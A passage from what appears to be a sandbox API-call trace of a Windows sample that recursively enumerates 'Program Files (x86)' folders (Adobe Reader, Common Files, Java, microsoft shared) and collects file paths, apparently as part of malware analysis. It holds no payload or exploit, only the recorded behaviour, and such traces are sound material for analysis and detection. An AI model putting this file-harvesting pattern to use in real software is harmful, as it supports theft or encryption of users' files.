(x86)\\Adobe\\Reader 10.0\\ReadMeCZE.htm" [0118.372] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCZE.htm") returned 54 [0118.372] lstrcpyW (in: lpString1=0x5bf318, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCZE.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCZE.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCZE.htm" [0118.372] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.372] lstrcmpW (lpString1="ReadMeHRV.htm", lpString2=".") returned 1 [0118.372] lstrcmpW (lpString1="ReadMeHRV.htm", lpString2="..") returned 1 [0118.372] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0118.372] lstrlenW (lpString="ReadMeHRV.htm") returned 13 [0118.372] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="ReadMeHRV.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHRV.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHRV.htm" [0118.372] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHRV.htm") returned 54 [0118.372] lstrcpyW (in: lpString1=0x5bf390, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHRV.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHRV.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHRV.htm" [0118.372] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.372] lstrcmpW (lpString1="ReadMeHUN.htm", lpString2=".") returned 1 [0118.372] lstrcmpW (lpString1="ReadMeHUN.htm", lpString2="..") returned 1 [0118.372] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0118.372] lstrlenW (lpString="ReadMeHUN.htm") returned 13 [0118.372] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="ReadMeHUN.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHUN.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHUN.htm" [0118.372] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHUN.htm") returned 54 [0118.372] lstrcpyW (in: lpString1=0x5bf408, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHUN.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHUN.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHUN.htm" [0118.372] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.372] lstrcmpW (lpString1="ReadMeJ.htm", lpString2=".") returned 1 [0118.372] lstrcmpW (lpString1="ReadMeJ.htm", lpString2="..") returned 1 [0118.372] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0118.372] lstrlenW (lpString="ReadMeJ.htm") returned 11 [0118.372] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="ReadMeJ.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeJ.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeJ.htm" [0118.372] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeJ.htm") returned 52 [0118.372] lstrcpyW (in: lpString1=0x5bf480, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeJ.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeJ.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeJ.htm" [0118.372] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.373] lstrcmpW (lpString1="ReadMeK.htm", lpString2=".") returned 1 [0118.373] lstrcmpW (lpString1="ReadMeK.htm", lpString2="..") returned 1 [0118.373] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0118.373] lstrlenW (lpString="ReadMeK.htm") returned 11 [0118.373] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="ReadMeK.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeK.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeK.htm" [0118.373] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeK.htm") returned 52 [0118.373] lstrcpyW (in: lpString1=0x5bf4f8, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeK.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeK.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeK.htm" [0118.373] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.373] lstrcmpW (lpString1="ReadMePOL.htm", lpString2=".") returned 1 [0118.373] lstrcmpW (lpString1="ReadMePOL.htm", lpString2="..") returned 1 [0118.373] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0118.373] lstrlenW (lpString="ReadMePOL.htm") returned 13 [0118.373] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="ReadMePOL.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMePOL.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMePOL.htm" [0118.373] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMePOL.htm") returned 54 [0118.373] lstrcpyW (in: lpString1=0x5bf570, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMePOL.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMePOL.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMePOL.htm" [0118.373] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.373] lstrcmpW (lpString1="ReadMeRUM.htm", lpString2=".") returned 1 [0118.373] lstrcmpW (lpString1="ReadMeRUM.htm", lpString2="..") returned 1 [0118.373] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0118.373] lstrlenW (lpString="ReadMeRUM.htm") returned 13 [0118.373] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="ReadMeRUM.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUM.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUM.htm" [0118.373] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUM.htm") returned 54 [0118.373] lstrcpyW (in: lpString1=0x5bf5e8, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUM.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUM.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUM.htm" [0118.373] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.373] lstrcmpW (lpString1="ReadMeRUS.htm", lpString2=".") returned 1 [0118.373] lstrcmpW (lpString1="ReadMeRUS.htm", lpString2="..") returned 1 [0118.373] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0118.373] lstrlenW (lpString="ReadMeRUS.htm") returned 13 [0118.373] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="ReadMeRUS.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUS.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUS.htm" [0118.373] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUS.htm") returned 54 [0118.373] lstrcpyW (in: lpString1=0x24a0060, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUS.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUS.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUS.htm" [0118.373] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.373] lstrcmpW (lpString1="ReadMeSKY.htm", lpString2=".") returned 1 [0118.373] lstrcmpW (lpString1="ReadMeSKY.htm", lpString2="..") returned 1 [0118.373] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0118.373] lstrlenW (lpString="ReadMeSKY.htm") returned 13 [0118.373] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="ReadMeSKY.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeSKY.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeSKY.htm" [0118.373] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeSKY.htm") returned 54 [0118.373] lstrcpyW (in: lpString1=0x24a00d8, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeSKY.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeSKY.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeSKY.htm" [0118.373] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.374] lstrcmpW (lpString1="ReadMeUKR.htm", lpString2=".") returned 1 [0118.374] lstrcmpW (lpString1="ReadMeUKR.htm", lpString2="..") returned 1 [0118.374] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0118.374] lstrlenW (lpString="ReadMeUKR.htm") returned 13 [0118.374] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="ReadMeUKR.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeUKR.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeUKR.htm" [0118.374] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeUKR.htm") returned 54 [0118.374] lstrcpyW (in: lpString1=0x24a0150, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeUKR.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeUKR.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeUKR.htm" [0118.374] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.374] lstrcmpW (lpString1="Resource", lpString2=".") returned 1 [0118.374] lstrcmpW (lpString1="Resource", lpString2="..") returned 1 [0118.374] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0118.374] lstrlenW (lpString="Resource") returned 8 [0118.374] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="Resource" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource" [0118.374] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.374] lstrcmpW (lpString1="Setup Files", lpString2=".") returned 1 [0118.374] lstrcmpW (lpString1="Setup Files", lpString2="..") returned 1 [0118.374] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0118.374] lstrlenW (lpString="Setup Files") returned 11 [0118.374] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="Setup Files" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files" [0118.374] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.374] lstrcmpW (lpString1="Vigtigt.htm", lpString2=".") returned 1 [0118.374] lstrcmpW (lpString1="Vigtigt.htm", lpString2="..") returned 1 [0118.374] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0118.374] lstrlenW (lpString="Vigtigt.htm") returned 11 [0118.374] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="Vigtigt.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Vigtigt.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Vigtigt.htm" [0118.374] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Vigtigt.htm") returned 52 [0118.374] lstrcpyW (in: lpString1=0x24a01c8, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Vigtigt.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Vigtigt.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Vigtigt.htm" [0118.374] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.374] lstrcmpW (lpString1="Viktig.htm", lpString2=".") returned 1 [0118.374] lstrcmpW (lpString1="Viktig.htm", lpString2="..") returned 1 [0118.374] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0118.374] lstrlenW (lpString="Viktig.htm") returned 10 [0118.374] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="Viktig.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktig.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktig.htm" [0118.374] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktig.htm") returned 51 [0118.374] lstrcpyW (in: lpString1=0x5bf660, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktig.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktig.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktig.htm" [0118.374] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.374] lstrcmpW (lpString1="Viktigt.htm", lpString2=".") returned 1 [0118.374] lstrcmpW (lpString1="Viktigt.htm", lpString2="..") returned 1 [0118.374] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0118.374] lstrlenW (lpString="Viktigt.htm") returned 11 [0118.374] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="Viktigt.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktigt.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktigt.htm" [0118.374] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktigt.htm") returned 52 [0118.374] lstrcpyW (in: lpString1=0x24a0240, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktigt.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktigt.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktigt.htm" [0118.374] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0118.374] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0118.374] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0 [0118.374] FindClose (in: hFindFile=0x825720 | out: hFindFile=0x825720) returned 1 [0118.375] FindNextFileW (in: hFindFile=0x8256e0, lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 1 [0118.375] lstrcmpW (lpString1="Common Files", lpString2=".") returned 1 [0118.375] lstrcmpW (lpString1="Common Files", lpString2="..") returned 1 [0118.375] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0118.375] lstrlenW (lpString="Common Files") returned 12 [0118.375] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Common Files" | out: lpString1="c:\\Program Files (x86)\\Common Files") returned="c:\\Program Files (x86)\\Common Files" [0118.375] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Common Files\\") returned="c:\\Program Files (x86)\\Common Files\\" [0118.375] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\") returned 36 [0118.375] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Common Files\\*") returned="c:\\Program Files (x86)\\Common Files\\*" [0118.375] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Common Files\\*", lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0x825720 [0118.375] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0118.375] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0118.375] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0118.375] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0118.375] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0118.375] lstrcmpW (lpString1="Adobe", lpString2=".") returned 1 [0118.375] lstrcmpW (lpString1="Adobe", lpString2="..") returned 1 [0118.375] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\") returned 36 [0118.375] lstrlenW (lpString="Adobe") returned 5 [0118.375] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\", lpString2="Adobe" | out: lpString1="c:\\Program Files (x86)\\Common Files\\Adobe") returned="c:\\Program Files (x86)\\Common Files\\Adobe" [0118.375] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\Adobe", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Common Files\\Adobe\\") returned="c:\\Program Files (x86)\\Common Files\\Adobe\\" [0118.375] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\Adobe\\") returned 42 [0118.375] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\Adobe\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Common Files\\Adobe\\*") returned="c:\\Program Files (x86)\\Common Files\\Adobe\\*" [0118.375] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Common Files\\Adobe\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0118.375] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0118.375] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.375] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0118.375] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0118.375] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.375] lstrcmpW (lpString1="Acrobat", lpString2=".") returned 1 [0118.375] lstrcmpW (lpString1="Acrobat", lpString2="..") returned 1 [0118.375] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\Adobe\\") returned 42 [0118.375] lstrlenW (lpString="Acrobat") returned 7 [0118.375] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\Adobe\\", lpString2="Acrobat" | out: lpString1="c:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat") returned="c:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat" [0118.375] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.376] lstrcmpW (lpString1="ARM", lpString2=".") returned 1 [0118.376] lstrcmpW (lpString1="ARM", lpString2="..") returned 1 [0118.376] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\Adobe\\") returned 42 [0118.376] lstrlenW (lpString="ARM") returned 3 [0118.376] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\Adobe\\", lpString2="ARM" | out: lpString1="c:\\Program Files (x86)\\Common Files\\Adobe\\ARM") returned="c:\\Program Files (x86)\\Common Files\\Adobe\\ARM" [0118.376] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.376] lstrcmpW (lpString1="HelpCfg", lpString2=".") returned 1 [0118.376] lstrcmpW (lpString1="HelpCfg", lpString2="..") returned 1 [0118.376] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\Adobe\\") returned 42 [0118.376] lstrlenW (lpString="HelpCfg") returned 7 [0118.376] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\Adobe\\", lpString2="HelpCfg" | out: lpString1="c:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="c:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0118.376] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0118.376] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0118.376] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0118.376] lstrcmpW (lpString1="characters appointed birthday finally.exe", lpString2=".") returned 1 [0118.376] lstrcmpW (lpString1="characters appointed birthday finally.exe", lpString2="..") returned 1 [0118.376] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\") returned 36 [0118.376] lstrlenW (lpString="characters appointed birthday finally.exe") returned 41 [0118.376] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\", lpString2="characters appointed birthday finally.exe" | out: lpString1="c:\\Program Files (x86)\\Common Files\\characters appointed birthday finally.exe") returned="c:\\Program Files (x86)\\Common Files\\characters appointed birthday finally.exe" [0118.376] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\characters appointed birthday finally.exe") returned 77 [0118.376] lstrcpyW (in: lpString1=0x5bf6d0, lpString2="c:\\Program Files (x86)\\Common Files\\characters appointed birthday finally.exe" | out: lpString1="c:\\Program Files (x86)\\Common Files\\characters appointed birthday finally.exe") returned="c:\\Program Files (x86)\\Common Files\\characters appointed birthday finally.exe" [0118.376] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0118.376] lstrcmpW (lpString1="Java", lpString2=".") returned 1 [0118.376] lstrcmpW (lpString1="Java", lpString2="..") returned 1 [0118.376] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\") returned 36 [0118.376] lstrlenW (lpString="Java") returned 4 [0118.376] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\", lpString2="Java" | out: lpString1="c:\\Program Files (x86)\\Common Files\\Java") returned="c:\\Program Files (x86)\\Common Files\\Java" [0118.376] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\Java", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Common Files\\Java\\") returned="c:\\Program Files (x86)\\Common Files\\Java\\" [0118.376] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\Java\\") returned 41 [0118.376] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\Java\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Common Files\\Java\\*") returned="c:\\Program Files (x86)\\Common Files\\Java\\*" [0118.376] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Common Files\\Java\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0118.376] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0118.376] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.376] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0118.376] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0118.376] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.376] lstrcmpW (lpString1="Java Update", lpString2=".") returned 1 [0118.376] lstrcmpW (lpString1="Java Update", lpString2="..") returned 1 [0118.376] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\Java\\") returned 41 [0118.376] lstrlenW (lpString="Java Update") returned 11 [0118.376] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\Java\\", lpString2="Java Update" | out: lpString1="c:\\Program Files (x86)\\Common Files\\Java\\Java Update") returned="c:\\Program Files (x86)\\Common Files\\Java\\Java Update" [0118.376] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0118.376] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0118.377] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0118.377] lstrcmpW (lpString1="microsoft shared", lpString2=".") returned 1 [0118.377] lstrcmpW (lpString1="microsoft shared", lpString2="..") returned 1 [0118.377] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\") returned 36 [0118.377] lstrlenW (lpString="microsoft shared") returned 16 [0118.377] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\", lpString2="microsoft shared" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared" [0118.377] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared\\" [0118.377] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\microsoft shared\\") returned 53 [0118.377] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\*") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared\\*" [0118.377] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Common Files\\microsoft shared\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0118.414] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0118.414] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.414] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0118.414] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0118.414] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.414] lstrcmpW (lpString1="DAO", lpString2=".") returned 1 [0118.414] lstrcmpW (lpString1="DAO", lpString2="..") returned 1 [0118.414] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\microsoft shared\\") returned 53 [0118.414] lstrlenW (lpString="DAO") returned 3 [0118.414] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\", lpString2="DAO" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\DAO") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared\\DAO" [0118.414] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.414] lstrcmpW (lpString1="ink", lpString2=".") returned 1 [0118.414] lstrcmpW (lpString1="ink", lpString2="..") returned 1 [0118.414] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\microsoft shared\\") returned 53 [0118.414] lstrlenW (lpString="ink") returned 3 [0118.414] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\", lpString2="ink" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\ink") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared\\ink" [0118.414] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.414] lstrcmpW (lpString1="MSEnv", lpString2=".") returned 1 [0118.414] lstrcmpW (lpString1="MSEnv", lpString2="..") returned 1 [0118.414] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\microsoft 